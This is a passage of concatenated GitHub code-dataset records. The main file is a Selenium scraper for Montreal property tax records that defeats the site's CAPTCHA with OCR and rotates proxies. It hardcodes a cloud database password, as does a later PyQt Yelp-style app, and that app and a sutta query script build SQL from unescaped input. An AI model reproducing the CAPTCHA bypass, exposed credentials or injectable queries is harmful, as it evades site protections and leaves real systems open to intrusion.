0:\n\t\t\t\t\t\tplaceOptions[index].click()\n\t\t\t\t\telse:\n\t\t\t\t\t\tplaceOptions[0].click()\n\t\t\t\telse:\n\t\t\t\t\tplaceOptions[0].click()\n\t\t\telse:\n\t\t\t\tplaceOptions[0].click()\n\t\texcept IndexError:\n\t\t\tself.failInfo = 'Index error'\n\t\t\treturn False\n\n\t\tbtn = self.driver.find_element_by_id('btnRechercher')\n\t\tbtn.click()\n\n\t\twait = WebDriverWait(self.driver, 10)\n\t\ttry:\n\t\t\twait.until(EC.staleness_of(btn))\n\t\texcept TimeoutException:\n\t\t\treturn False\n\t\t#If number is out of acceptable range, select option and update next number\n\t\ttry:\n\t\t\treturn self.ChooseOpt(number, name)\n\t\texcept NoSuchElementException:\n\t\t\ttry:\n\t\t\t\terror = self.driver.find_element_by_xpath('//*[@id=\"noVoie.errors\"]')\n\t\t\t\tself.specificPlace = ''\n\t\t\texcept NoSuchElementException:\n\t\t\t\treturn True\n\t\t\tif len(places) > 1:\n\t\t\t\tfor place in places[1:]:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tclose = self.driver.find_element_by_xpath('//*[@id=\"adressForm\"]/div/div[2]/div/div/a')\n\t\t\t\t\t\tclose.click()\n\t\t\t\t\texcept NoSuchElementException:\n\t\t\t\t\t\treturn False\n\t\t\t\t\tif self.TryNextPlace(place, name):\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\treturn self.ChooseOpt(number, name)\n\t\t\t\t\t\texcept NoSuchElementException:\n\t\t\t\t\t\t\treturn True\n\t\t\t#No numbers within 10 so skip ahead 8 (2 more added when Collect returns False)\n\t\t\tself.nextNumber += 8\n\t\t\tself.failInfo = \"Doesn't exist\"\n\t\t\treturn False\n\tdef ChooseOpt(self, number, name):\n\t\toptions = self.driver.find_elements_by_name(\"index\")\n\t\tbtn = self.driver.find_element_by_id(\"btnSoumettre\")\n\t\tif len(options) > 1:\n\t\t\tfor option in options:\n\t\t\t\toptNumber = self.ParseOptions(option.find_element_by_xpath(\"../../.\").text, name)\n\t\t\t\tif number > optNumber:\n\t\t\t\t\tcontinue\n\t\t\t\telif number <= optNumber:\n\t\t\t\t\toption.click()\n\t\t\t\t\tbtn.click()\n\t\t\t\t\treturn True\n\t\t\tself.failInfo = \"Doesn't exist\"\n\t\t\treturn False\n\t\telif len(options) == 1:\n\t\t\toptNumber = self.ParseOptions(options[0].find_element_by_xpath(\"../../.\").text, name)\n\t\t\tif number > optNumber:\n\t\t\t\tself.failInfo = \"Doesn't exist\"\n\t\t\t\treturn False\n\t\t\telif number <= optNumber:\n\t\t\t\toptions[0].click()\n\t\t\t\tbtn.click()\n\t\t\t\treturn True\n\t\telse:\n\t\t\treturn True\n\tdef TryNextPlace(self, place, name):\n\t\tst = self.driver.find_element_by_id(\"rue-tokenfield\")\n\t\tst.send_keys(name)\n\t\ttry:\n\t\t\twait = WebDriverWait(self.driver, 5).until(EC.presence_of_element_located((By.CLASS_NAME, \"ui-menu-item\")))\n\t\texcept TimeoutException:\n\t\t\treturn False\n\n\t\tdropdown = self.driver.find_element_by_xpath('//*[@id=\"ui-id-1\"]')\n\t\tfor option in dropdown.find_elements_by_tag_name('li'):\n\t\t\tif option.text == place:\n\t\t\t\toption.click()\n\t\t\t\tbreak\n\n\t\ttry:\n\t\t\twait = WebDriverWait(self.driver, 2).until(EC.element_to_be_clickable((By.ID, 'btnRechercher')))\n\t\texcept TimeoutException:\n\t\t\treturn False\n\n\t\tbtn = self.driver.find_element_by_id('btnRechercher')\n\t\tbtn.click()\n\n\t\ttry:\n\t\t\twait = WebDriverWait(self.driver, 10).until(EC.staleness_of(btn))\n\t\texcept TimeoutException:\n\t\t\treturn False\n\n\t\ttry:\n\t\t\terror = self.driver.find_element_by_xpath('//*[@id=\"noVoie.errors\"]')\n\t\t\treturn False\n\t\texcept NoSuchElementException:\n\t\t\tself.specificPlace = place\n\t\t\treturn True\n\n\tdef NextStreet(self):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"SELECT * FROM Montreal WHERE status = 'In Progress' AND claimed_by = (%s);\",(self.threadName,))\n\t\tentry = c.fetchone()\n\t\tif entry:\n\t\t\tpass\n\t\telse:\n\t\t\tc.execute(\"SELECT * FROM Montreal WHERE status IS NULL ORDER BY street\")\n\t\t\tentry = c.fetchone()\n\t\tif entry:\n\t\t\tstreet = entry[0]\n\t\t\tplace = entry[1]\n\t\t\tc.execute(\"SELECT l_first, l_last FROM numbers WHERE street = (%s) AND place = (%s)\", (street,place))\n\t\t\tleft = c.fetchall()\n\t\t\tc.execute(\"SELECT r_first, r_last FROM numbers WHERE street = (%s) AND place = (%s)\", (street,place))\n\t\t\tright = c.fetchall()\n\t\t\tc.execute(\"UPDATE Montreal SET status = 'In Progress' WHERE street = (%s) AND place = (%s)\", (street,place))\n\t\t\tc.execute(\"UPDATE Montreal SET claimed_by = (%s) WHERE street = (%s) AND place = (%s)\", (self.threadName,street,place))\n\t\t\tconn.commit()\n\t\t\tc.close()\n\t\t\tconn.close()\n\t\t\tleftRange = []\n\t\t\trightRange = []\n\t\t\tfor row in left:\n\t\t\t\tleftRange.append(tuple(map(int,row)))\n\t\t\tfor row in right:\n\t\t\t\trightRange.append(tuple(map(int,row)))\n\n\t\t\tleftN = list(self.JoinRanges(leftRange))\n\t\t\trightN = list(self.JoinRanges(rightRange))\n\n\t\t\tif leftN[0] == (0,0):\n\t\t\t\tleftN.remove((0,0))\n\t\t\tif rightN[0] == (0,0):\n\t\t\t\trightN.remove((0,0))\n\n\t\t\taddresses = {\"Street\": street, \"Left\":leftN,\"Right\":rightN, \"Place\": place, \"LastNum\": entry[3], \"LastSide\":entry[4]}\n\t\t\treturn addresses\n\t\telse:\n\t\t\tprint(\"Encountered an error fetching next street.\")\n\n\tdef CollectSide(self, side, addresses, start):\n\t\tplace = addresses[\"Place\"]\n\t\tstreet = addresses[\"Street\"].split(' ')\n\t\tif street[0][0].isdigit():\n\t\t\troad = street[1]\n\t\t\tname = street[0]\n\t\telse:\n\t\t\troad = street[0]\n\t\t\tname = street[1]\n\n\t\tself.nextNumber = int(start)\n\t\tfor r in addresses[side]:\n\t\t\tif self.nextNumber < r[0]:\n\t\t\t\tself.nextNumber = r[0]\n\t\t\twhile self.nextNumber <= r[1]:\n\t\t\t\tself.number = self.nextNumber\n\t\t\t\tif self.Collect(self.number, name, road, place):\n\t\t\t\t\tself.count += 1\n\t\t\t\t\tself.UpdateStreet(self.number, side, addresses[\"Street\"], place)\n\t\t\t\t\tif self.count > 50:\n\t\t\t\t\t\tself.count = 0\n\t\t\t\t\t\tself.RefreshWindow()\n\t\t\t\telse:\n\t\t\t\t\tself.UpdateStreet(self.number, side, addresses[\"Street\"], place)\n\t\t\t\t\tself.ReportFail(self.number, side, addresses[\"Street\"], place)\n\t\t\t\t\tself.nextNumber += 2\n\t\tself.specificPlace = ''\n\n\tdef Collect(self, number, name, road, place):\n\t\tif self.Captcha(5) == False:\n\t\t\tlogging.info('Captcha failed 5 times')\n\t\t\treturn False\n\t\tif self.Form(number, name, road, place) == False:\n\t\t\tlogging.info('Form failed for %s %s %s %s', number, name, road, place)\n\t\t\treturn False\n\t\tif self.SaveData(name) == True:\n\t\t\treturn True\n\t\telse:\n\t\t\tlogging.info('Save data failed for %s %s %s %s', number, name, road, place)\n\t\t\treturn False\n\tdef SaveData(self,name):\n\t\telement_present = EC.presence_of_element_located((By.ID, \"section-1\"))\n\t\ttry:\n\t\t\twait = WebDriverWait(self.driver, 10).until(element_present)\n\t\texcept TimeoutException:\n\t\t\treturn False\n\t\ttables = ['1','2','3','4']\n\t\taddress = self.driver.find_element_by_xpath('//*[@id=\"section-1\"]/table/tbody/tr[1]/th').text\n\t\tfilename = address.replace(' - ', '-').replace(' ','_')\n\t\t#Save all text from tables to file\n\t\ttry:\n\t\t\twith open('data/'+filename + '.txt','w') as f:\n\t\t\t\tfor i in tables:\n\t\t\t\t\ttable = self.driver.find_element_by_xpath('//*[@id=\"section-'+i+'\"]/table')\n\t\t\t\t\tfor tr in table.find_elements_by_tag_name(\"tr\"):\n\t\t\t\t\t\tf.write(tr.text + '\\n')\n\t\texcept Exception as e:\n\t\t\tlogging.debug(e)\n\t\t\treturn False\n\t\t#Download .pdfs of previous years\n\t\ttry:\n\t\t\tlinks = self.driver.find_elements_by_partial_link_text(\"Compte de taxes\")\n\t\t\tfor link in links[1:]:\n\t\t\t\tlink.click()\n\t\tfinally:\n\t\t\tif name in address:\n\t\t\t\tself.number = self.ParseOptions(address, name)\n\t\t\t\tif self.nextNumber > self.number:\n\t\t\t\t\tself.number = self.nextNumber\n\t\t\t\t\tself.nextNumber += 2\n\t\t\t\telse:\n\t\t\t\t\tself.nextNumber = self.number + 2\n\t\t\telse:\n\t\t\t\tself.number = self.nextNumber\n\t\t\t\tself.nextNumber += 2\n\n\t\t\treturn True\n\n\tdef Solve(self):\n\t\timg = cv2.imread('screenshot'+self.threadName+'.png',0)[734:754, 412:509]\n\t\tret, th = cv2.threshold(img, 80, 255, cv2.THRESH_TOZERO_INV)\n\t\tret, th2 = cv2.threshold(th, 10, 255, cv2.THRESH_BINARY_INV)\n\t\tnew = Image.fromarray(th2)\n\t\ttext = pytesseract.image_to_string(new, config=\"-psm 5 letters\")\n\t\tcaptcha = ''\n\n\t\tfor c in text[::-1]:\n\t\t\tcaptcha += c.strip()\n\n\t\tif (len(captcha)) < 6:\n\t\t\tcaptcha = pytesseract.image_to_string(new, config=\"-psm 6 letters\")\n\n\t\treturn captcha\n\n\tdef JoinRanges(self, data, offset=2):\n\t\tLEFT, RIGHT = 1, -1\n\t\tflatten = chain.from_iterable\n\t\tdata = sorted(flatten(((start, LEFT), (stop + offset, RIGHT)) for start, stop in data))\n\t\tc = 0\n\t\tfor value, label in data:\n\t\t\tif c == 0:\n\t\t\t\tx = value\n\t\t\tc += label\n\t\t\tif c == 0:\n\t\t\t\tyield x, value - offset\n\n\tdef RefreshWindow(self):\n\t\tself.Close()\n\t\tif self.useProxy:\n\t\t\tself.ReleaseProxy()\n\t\tself.StartBrowser()\n\tdef ConnectDB(self):\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tconn = pg.connect(dbname='Addresses', host='east-post1.cb9zvudjieab.us-east-2.rds.amazonaws.com', port=5432, user='gnorme', password='superhairydick1')\n\t\t\t\treturn conn\n\t\t\texcept pg.OperationalError:\n\t\t\t\tprint(\"DB connect failed\")\n\t\t\t\tlogging.info(\"DB Connect failed\")\n\t\t\t\ttime.sleep(120)\n\n\tdef ReportFail(self, number, side, street, place):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"INSERT INTO Fails (num, street, place, side, info) VALUES (%s, %s, %s, %s, %s);\", (number, street, place, side, self.failInfo))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\tdef GetProxy(self):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"SELECT ip,port FROM Proxies WHERE status = 'Working' ORDER BY response;\")\n\t\tself.proxy = c.fetchone()\n\t\tc.execute(\"UPDATE Proxies SET status = 'In Use' WHERE ip = (%s) AND port = (%s);\",(self.proxy[0],self.proxy[1]))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\tdef ReleaseProxy(self):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"UPDATE Proxies set status = 'Working' WHERE ip = (%s) AND port = (%s);\", (self.proxy[0], self.proxy[1]))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\tdef ChangeProxy(self):\n\t\tself.driver.quit()\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"UPDATE Proxies SET status = 'Stale' WHERE ip = (%s) AND port = (%s);\",(self.proxy[0],self.proxy[1]))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\t\tself.StartBrowser()\n\tdef UpdateStatus(self, status,street,place):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"UPDATE Montreal SET status = (%s) WHERE street = (%s) AND place = (%s);\",(status,street,place))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\tdef UpdateStreet(self, number, side, street, place):\n\t\tconn = self.ConnectDB()\n\t\tc = conn.cursor()\n\t\tc.execute(\"UPDATE Montreal SET last_number = (%s) WHERE street = (%s) AND place = (%s)\",(number,street,place))\n\t\tc.execute(\"UPDATE Montreal SET last_side = (%s) WHERE street = (%s) AND place = (%s)\",(side,street,place))\n\t\tc.execute(\"UPDATE Montreal SET last_modified = (%s) WHERE street = (%s)AND place = (%s)\",(datetime.now(),street,place))\n\t\tconn.commit()\n\t\tc.close()\n\t\tconn.close()\n\tdef ParseOptions(self, label, name):\n\t\tnameIndex = label.find(name)\n\t\tindex = label[:nameIndex].find(' - ')\n\t\tif index >= 0:\n\t\t\tindex2 = label[index+3:].find(' ')\n\t\t\tn2 = label[index+3:index+3+index2]\n\t\t\tif n2.isdigit():\n\t\t\t\treturn int(n2)\n\t\t\telse:\n\t\t\t\treturn int(''.join(filter(lambda x: x.isdigit(), n2)))\n\t\telse:\n\t\t\tindex2 = label.find(' ')\n\t\t\tn1 = label[:index2]\n\t\t\tif n1.isdigit():\n\t\t\t\treturn int(n1)\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\treturn int(''.join(filter(lambda x: x.isdigit(), n1)))\n\t\t\t\texcept ValueError:\n\t\t\t\t\treturn 0\n\tdef Debug(self):\n\t\tself.driver.get(\"http://www.google.ca\")\n\tdef Close(self):\n\t\tself.driver.close()\n","repo_name":"Gnorme/collect","sub_path":"collect.py","file_name":"collect.py","file_ext":"py","file_size_in_byte":16392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"72137099394","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.service import Service \nfrom webdriver_manager.chrome import ChromeDriverManager\n\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\nimport tkinter as tk\nfrom tkinter import filedialog\n\nclass Automaps:\n\n def __init__(self, url):\n self.url = url\n self.USER_DATA_PATH = self.set_chrome_user_path()\n self.driver = self.launch_page()\n\n def set_chrome_user_path(self):\n # open txt file\n path = \"\"\n try:\n with open(\"ChromeUserPath.txt\", 'a+') as file:\n pos = file.tell()\n # if txt file not empty: read file contents as path\n if pos != 0:\n file.seek(0,0) # opened in append mode, cursor has to be reset\n path = file.readline() \n\n # empty, open file explorer \n else: \n root = tk.Tk()\n root.withdraw()\n path = filedialog.askdirectory()\n file.write(path)\n except Exception as e:\n print( \"error opening path file: \", e) \n\n return path\n \n def clear_searchbar(self):\n clear_button = self.driver.find_element(By.CSS_SELECTOR, \"#searchbox > div.lSDxNd > button\")\n clear_button.click()\n\n def launch_page(self):\n # Chrome options to load signed-in chrome profile\n chrome_options = Options()\n # Path should be something like:\n # \"C:\\\\Users\\\\USER\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\\") # Opens chrome profile\n chrome_options.add_argument(\"--user-data-dir=\" + self.USER_DATA_PATH) \n chrome_options.add_experimental_option(\"detach\", True)\n\n driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=chrome_options)\n driver.get(self.url)\n print( driver.title)\n\n # wait for webpage to load completely\n driver.implicitly_wait(3)\n return driver\n\n def enter_address(self, address):\n # Searchbar element\n textbox = self.driver.find_element(By.ID, \"searchboxinput\")\n textbox.send_keys( address )\n textbox.send_keys(Keys.ENTER)\n\n def save_to_list(self, listName): \n button = self.driver.find_element(By.CSS_SELECTOR, \"#QA0Szd>div>div>div.w6VYqd>div.bJzME.tTVLSc>div>div.e07Vkf.kA9KIf>div>div>div.m6QErb.Pf6ghf.ecceSd.tLjsW>div:nth-child(2)>button\")\n button.click()\n bombSheltersList = self.driver.find_element(By.XPATH,\"//div[.='\" + listName + \"']\")\n bombSheltersList.click()\n\n def add_note(self, note):\n button = self.driver.find_element(By.CSS_SELECTOR, \"#QA0Szd > div > div > div.w6VYqd > div.bJzME.tTVLSc > div > div.e07Vkf.kA9KIf > div > div > div:nth-child(7) > div > div.m6QErb.Duzcee > div.m6QErb.tLjsW > div:nth-child(1) > button > div\")\n button.click()\n textbox = self.driver.find_element(By.CSS_SELECTOR, \"#modal-dialog > div > div.hoUMge > div > div.yFnP6d > div > div > div.Xsdp7b > textarea\")\n textbox.send_keys(note)\n doneButton = self.driver.find_element(By.CSS_SELECTOR, \"#modal-dialog > div > div.hoUMge > div > div.yFnP6d > div > div > div.vV6Pxc > div.LKVNAb > button.okDpye.PpaGLb.mta2Ab\")\n doneButton.click()\n","repo_name":"RanelDL/GMapsListBuilder","sub_path":"src/loadLocations.py","file_name":"loadLocations.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"21391817778","text":"#!/usr/bin/env python\nimport sys\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QWidget, QAction, QTableWidget, QTableWidgetItem, QVBoxLayout\nfrom PyQt5 import uic, QtCore\nfrom PyQt5.QtGui import QIcon, QPixmap\nimport psycopg2\n\nqt_creator_file = \"MatthewYien-YelpApp.ui\"\n\nUi_MainWindow, QtBaseClass = uic.loadUiType(qt_creator_file)\n\n\nclass YelpApp(QMainWindow):\n def __init__(self):\n super(YelpApp, self).__init__()\n self.ui = Ui_MainWindow()\n\n # GUI Elements - Businesses Page\n self.ui.setupUi(self)\n self.load_state_list()\n self.ui.stateList.currentTextChanged.connect(self.state_changed)\n self.ui.cityList.itemSelectionChanged.connect(self.city_changed)\n self.ui.zipList.itemSelectionChanged.connect(self.zip_changed)\n self.ui.zipList.itemSelectionChanged.connect(self.zipcode_stat)\n self.ui.searchButton.clicked.connect(self.search_button_pressed)\n self.ui.clearButton.clicked.connect(self.clear_button_pressed)\n self.ui.refreshButton.clicked.connect(self.refresh_button_pressed)\n\n def execute_query(self, query):\n try:\n # Will need to change data to your database\n connection = psycopg2.connect(\"dbname='yelpdb' user='postgres' host='localhost' password='accessEntry'\")\n except:\n print(\"Unable to connect to the database.\")\n\n cur = connection.cursor()\n cur.execute(query)\n connection.commit()\n result = cur.fetchall()\n connection.close()\n return result\n\n def load_state_list(self):\n self.ui.stateList.clear()\n sql_command = \"SELECT distinct state_name FROM business ORDER BY state_name;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n for row in results:\n self.ui.stateList.addItem(row[0])\n except:\n print(\"Query failed.\")\n\n self.ui.stateList.setCurrentIndex(-1)\n self.ui.stateList.clearEditText()\n\n def state_changed(self):\n self.ui.cityList.clear()\n state = self.ui.stateList.currentText()\n if self.ui.stateList.currentIndex() >= 0:\n sql_command = \"SELECT distinct city FROM business WHERE state_name = '\" + state + \"' ORDER BY city;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n for row in results:\n self.ui.cityList.addItem(row[0])\n except:\n print(\"Query failed - state_changed().\")\n\n def city_changed(self):\n self.ui.zipList.clear()\n state = self.ui.stateList.currentText()\n city = self.ui.cityList.selectedItems()[0].text()\n\n if (self.ui.stateList.currentIndex() >= 0) and (len(self.ui.cityList.selectedItems()) > 0):\n sql_command = \"SELECT distinct zip_code FROM business WHERE state_name = '\" + state + \"' AND city = '\" + city + \"' ORDER BY zip_code;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n for row in results:\n item = str(row[0])\n self.ui.zipList.addItem(item)\n except:\n print(\"Query failed - city_changed().\")\n\n def zip_changed(self):\n self.ui.categoryList.clear()\n self.ui.businessTable.clear()\n zipcode = self.ui.zipList.selectedItems()[0].text()\n\n if len(self.ui.zipList.selectedItems()) > 0:\n sql_command = \"SELECT distinct category_type FROM hascategory, business WHERE zip_code = '\" + zipcode + \"' AND hascategory.business_id = business.business_id ORDER BY category_type;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n for row in results:\n self.ui.categoryList.addItem(row[0])\n except:\n print(\"Query failed - zip_changed().\")\n\n sql_command2 = \"SELECT business_name, address, city, business_avg_star, num_of_checkins, num_of_tips FROM business WHERE zip_code = '\" + zipcode + \"' ORDER BY business_name;\"\n print(sql_command2)\n print(\"\")\n\n try:\n results2 = self.execute_query(sql_command2)\n print(results2)\n print(\"\")\n\n style = \"::section {\"\"background-color: #e4e1e2; }\"\n self.ui.businessTable.horizontalHeader().setStyleSheet(style)\n self.ui.businessTable.setColumnCount(len(results2[0]))\n self.ui.businessTable.setRowCount(len(results2))\n self.ui.businessTable.setHorizontalHeaderLabels(\n [\"Business Name\", \"Address\", \"City\", \"Stars\", \"Num of Checkins\", \"Num of Tips\"])\n self.ui.businessTable.resizeColumnsToContents()\n self.ui.businessTable.setColumnWidth(0, 275)\n self.ui.businessTable.setColumnWidth(1, 250)\n self.ui.businessTable.setColumnWidth(2, 120)\n self.ui.businessTable.setColumnWidth(3, 60)\n self.ui.businessTable.setColumnWidth(4, 90)\n self.ui.businessTable.setColumnWidth(5, 75)\n\n current_row_count = 0\n\n for row in results2:\n for col_count in range(0, len(results2[0])):\n self.ui.businessTable.setItem(current_row_count, col_count,\n QTableWidgetItem(str(row[col_count])))\n\n current_row_count += 1\n except:\n print(\"Query failed - business_table_display.\")\n\n def zipcode_stat(self):\n self.ui.numBusinesses.clear()\n self.ui.topCategory.clear()\n zipcode = self.ui.zipList.selectedItems()[0].text()\n\n if len(self.ui.zipList.selectedItems()) > 0:\n sql_command1 = \"SELECT count(*) FROM business WHERE zip_code = '\" + zipcode + \"'\"\n print(sql_command1)\n print(\"\")\n\n sql_command2 = \"SELECT count(*) as num_business, category_type FROM hascategory, business WHERE zip_code = '\" + zipcode + \"' AND hascategory.business_id = business.business_id GROUP BY category_type ORDER BY num_business DESC;\"\n print(sql_command2)\n print(\"\")\n\n try:\n results1 = self.execute_query(sql_command1)\n print(results1)\n print(\"\")\n\n self.ui.numBusinesses.addItem(str(results1[0][0]))\n\n except:\n print(\"Query failed - zipcode_stat1().\")\n\n try:\n results2 = self.execute_query(sql_command2)\n print(results2)\n print(\"\")\n\n style = \"::section {\"\"background-color: #21bfae; }\"\n self.ui.topCategory.horizontalHeader().setStyleSheet(style)\n self.ui.topCategory.setColumnCount(len(results2[0]))\n self.ui.topCategory.setRowCount(len(results2))\n self.ui.topCategory.setHorizontalHeaderLabels([\"Num of Businesses\", \"Category\"])\n self.ui.topCategory.resizeColumnsToContents()\n self.ui.topCategory.setColumnWidth(0, 150)\n self.ui.topCategory.setColumnWidth(1, 400)\n\n current_row_count = 0\n\n for row in results2:\n for col_count in range(0, len(results2[0])):\n self.ui.topCategory.setItem(current_row_count, col_count, QTableWidgetItem(str(row[col_count])))\n current_row_count += 1\n except:\n print(\"Query failed - zipcode_stat2().\")\n\n def search_button_pressed(self):\n category = self.ui.categoryList.selectedItems()[0].text()\n\n if len(self.ui.categoryList.selectedItems()) > 0:\n zipcode = self.ui.zipList.selectedItems()[0].text()\n\n for i in reversed(range(self.ui.businessTable.rowCount())):\n self.ui.businessTable.removeRow(i)\n\n sql_command = \"SELECT business_name, address, city, business_avg_star, num_of_checkins, num_of_tips FROM hascategory, business WHERE category_type = '\" + category + \"' AND zip_code = '\" + zipcode + \"' AND hascategory.business_id = business.business_id ORDER BY business_name;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n style = \"::section {\"\"background-color: #07635E; }\"\n self.ui.businessTable.horizontalHeader().setStyleSheet(style)\n self.ui.businessTable.setColumnCount(len(results[0]))\n self.ui.businessTable.setRowCount(len(results))\n self.ui.businessTable.setHorizontalHeaderLabels(\n [\"Business Name\", \"Address\", \"City\", \"Stars\", \"Num of Checkins\", \"Num of Tips\"])\n self.ui.businessTable.resizeColumnsToContents()\n self.ui.businessTable.setColumnWidth(0, 350)\n self.ui.businessTable.setColumnWidth(1, 250)\n self.ui.businessTable.setColumnWidth(2, 70)\n self.ui.businessTable.setColumnWidth(3, 30)\n self.ui.businessTable.setColumnWidth(4, 100)\n self.ui.businessTable.setColumnWidth(5, 70)\n\n current_row_count = 0\n\n for row in results:\n for col_count in range(0, len(results[0])):\n self.ui.businessTable.setItem(current_row_count, col_count,\n QTableWidgetItem(str(row[col_count])))\n\n current_row_count += 1\n except:\n print(\"Query failed - search_button_pressed().\")\n\n def clear_button_pressed(self):\n self.ui.businessTable.clear()\n self.ui.businessTable.setColumnCount(0)\n\n def refresh_button_pressed(self):\n self.ui.popularBusinessesTable.clear()\n category = self.ui.categoryList.selectedItems()[0].text()\n\n self.ui.popularBusinessesTable.setColumnCount(0)\n\n if len(self.ui.categoryList.selectedItems()) > 0:\n zipcode = self.ui.zipList.selectedItems()[0].text()\n\n sql_command = \"SELECT businesspopularity.business_name, businesspopularity.num_of_checkins, businesspopularity.num_of_tips, businesspopularity.business_avg_star, popularity_rating FROM businesspopularity, business WHERE category_type = '\" + category + \"' AND zip_code = '\" + zipcode + \"' AND businesspopularity.business_id = business.business_id\" + \" ORDER BY popularity_rating DESC;\"\n print(sql_command)\n print(\"\")\n\n try:\n results = self.execute_query(sql_command)\n print(results)\n print(\"\")\n\n style = \"::section {\"\"background-color: #42ded1; }\"\n self.ui.popularBusinessesTable.horizontalHeader().setStyleSheet(style)\n self.ui.popularBusinessesTable.setColumnCount(len(results[0]))\n self.ui.popularBusinessesTable.setRowCount(len(results))\n self.ui.popularBusinessesTable.setHorizontalHeaderLabels(\n [\"Business Name\", \"Num of Check-ins\", \"Num of Tips\", \"Avg_rating\", \"Popularity Score\"])\n self.ui.popularBusinessesTable.resizeColumnsToContents()\n self.ui.popularBusinessesTable.setColumnWidth(0, 400)\n self.ui.popularBusinessesTable.setColumnWidth(1, 150)\n self.ui.popularBusinessesTable.setColumnWidth(2, 150)\n self.ui.popularBusinessesTable.setColumnWidth(3, 150)\n self.ui.popularBusinessesTable.setColumnWidth(4, 200)\n\n current_row_count = 0\n\n for row in results:\n for col_count in range(0, len(results[0])):\n self.ui.popularBusinessesTable.setItem(current_row_count, col_count, QTableWidgetItem(str(row[col_count])))\n\n current_row_count += 1\n except:\n print(\"Query failed - get_popular_business().\")\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n window = YelpApp()\n window.show()\n sys.exit(app.exec_())","repo_name":"KeyProgression/YelpLikeApp","sub_path":"MatthewYien-YelpApp.py","file_name":"MatthewYien-YelpApp.py","file_ext":"py","file_size_in_byte":12625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"31711265716","text":"'''\nCreated on 01/02/2013\n\n@author: rafael.cunha\n'''\nfrom model import * \n\nclass SessionManager():\n\n @classmethod\n def check_credentials(self,username):\n if not Core.is_initialized():\n Core.initialize()\n for user in User.objects(first_name = username):\n return user\n return None\n \n","repo_name":"kalunga/webapp","sub_path":"appController.py","file_name":"appController.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"24384526101","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport re\nimport sys\nimport sqlite3\n\ndef query_tfidf ():\n if (len(sys.argv) < 2):\n print(\"Usage: python[3.7] query_sutta_db.py \")\n return\n\n search_words = sys.argv[1]\n conn = sqlite3.connect('suttas.db')\n c = conn.cursor()\n\n search_words = search_words.lower()\n # SELECT \"_rowid_\",* FROM \"main\".\"word\" WHERE \"word\" LIKE '%root%' ESCAPE '\\' ORDER BY \"_rowid_\" ASC LIMIT 0, 49999;\n sql_cmd_1 = \"SELECT \\\"_rowid_\\\",* FROM \\\"main\\\".\\\"word\\\" WHERE \\\"word\\\" LIKE '\"+search_words+\"' ESCAPE \\'\\\\' ORDER BY \\\"_rowid_\\\" ASC LIMIT 0, 49999;\"\n # print (sql_cmd_1) \n c.execute(sql_cmd_1)\n result = c.fetchall()\n # print(result)\n if (result == []):\n print(\"No results found. Please change the term you're looking for.\")\n conn.close()\n return\n\n word_id = str(result[0][-1])\n # print(word_id)\n sql_cmd_1 = \"SELECT \\\"_rowid_\\\",* FROM \\\"main\\\".\\\"tfidf\\\" WHERE \\\"word\\\" LIKE '\"+word_id+\"' ORDER BY \\\"tfidf\\\" DESC LIMIT 0, 100;\"\n # print (sql_cmd_1) \n c.execute(sql_cmd_1)\n result = c.fetchall()\n # print(result)\n\n # base='https://suttacentral.net/'\n\n res_str = \"Sutta: \\tmatches: \\tTF: \\tTF-IDF: \"\n print(res_str)\n for k in result:\n # print (k)\n sutta_id = str(k[1])\n sql_cmd_1 = \"SELECT \\\"_rowid_\\\",* FROM \\\"main\\\".\\\"sutta\\\" WHERE \\\"id\\\" LIKE '\"+sutta_id+\"' ESCAPE \\'\\\\' ORDER BY \\\"_rowid_\\\" ASC LIMIT 0, 49999;\"\n # print (sql_cmd_1) \n c.execute(sql_cmd_1)\n result2 = c.fetchone()\n # print(result2)\n # sc_url = base + result2[1] + '/en/sujato'\n res_str = result2[1] + \"\\t\" + str(k[3]) + \"\\t\" + str(k[4]) + \"\\t\" + str(k[5])\n print(res_str)\n\n conn.close()\n\ndef main():\n \n query_tfidf ()\n\n # file_of_words_to_idf ()\n \n\nif __name__ == \"__main__\":\n 